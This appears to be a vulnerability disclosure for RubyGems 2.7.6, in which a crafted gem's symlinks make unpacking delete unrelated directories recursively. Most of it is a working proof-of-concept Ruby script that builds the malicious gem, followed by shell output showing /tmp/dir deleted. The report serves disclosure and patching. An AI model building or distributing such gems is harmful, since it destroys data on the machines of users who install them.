RubyGems: Delete directory using symlink when decompressing tar

In 2.7.6, the safety of symlink is confirmed with mkdir_p_safe,
Before that FileUtils.rm_rf destination is running.
Therefore, if tmp/dir is specified after tmp -> /tmp, the following /tmp/dir is deleted.

Proof of concept

builder.rb

require 'rubygems/package'

class GemBuiler

   def initialize spec, path
    @_build_time      = Time.now
    @_checksums       = {}
    @_signer          = Gem::Security::Signer.new nil, nil, ""
    @_spec            = spec
    @_path            = path
  end

  def build &block
    Gem.load_yaml
    require 'rubygems/security'

    @_spec.mark_version

    File.open @_path, 'wb' do |gem_io|
      Gem::Package::TarWriter.new gem_io do |gem|
        add_metadata gem
        add_contents gem, &block
        add_checksums gem
      end
    end
  end

  def add_checksums tar
    Gem.load_yaml

    checksums_by_algorithm = Hash.new { |h, algorithm| h[algorithm] = {} }

    @_checksums.each do |name, digests|
      digests.each do |algorithm, digest|
        checksums_by_algorithm[algorithm][name] = digest.hexdigest
      end
    end

    tar.add_file_signed 'checksums.yaml.gz', 0444, @_signer do |io|
      gzip_to io do |gz_io|
        YAML.dump checksums_by_algorithm, gz_io
      end
    end
  end

  def add_contents tar, &block
    digests = tar.add_file_signed 'data.tar.gz', 0444, @_signer do |io|
      gzip_to io do |gz_io|
        Gem::Package::TarWriter.new gz_io, &block
      end
    end

    @_checksums['data.tar.gz'] = digests
  end

  def add_metadata tar 
    digests = tar.add_file_signed 'metadata.gz', 0444, @_signer do |io|
      gzip_to io do |gz_io|
        gz_io.write @_spec.to_yaml
      end
    end

    @_checksums['metadata.gz'] = digests
  end

  def gzip_to io
    gz_io = Zlib::GzipWriter.new io, Zlib::BEST_COMPRESSION
    gz_io.mtime = @_build_time

    yield gz_io
  ensure
    gz_io.close
  end
end

spec = Gem::Specification.new do |s|
  s.name    = 'hello'
  s.version = '0.0.1'
  s.summary = 'hello summary'
  s.author= "test"
end


# create evil gem

rm = GemBuiler.new(spec, "rm_dir.gem")
rm.build do |data_tar|
  data_tar.add_symlink "tmp", "/tmp", 16877
  data_tar.add_symlink "tmp/dir", ".", 16877
end

execute

$ ls /tmp/dir
file

$ ruby builder.rb

$ gem unpack rm_dir.gem
ERROR:  While executing gem ... (Gem::Package::PathError)
    installing into parent path tmp/dir of /xxx/yyy/zzz/... is not allowed

$ ls /tmp/dir
ls: /tmp/dir: No such file or directory

Impact

Unrelated directories will be deleted when unpacking or installing a specially crafted gem.
Since mkdir_p_safe produces an error, only one can be specified, but it will be deleted recursively.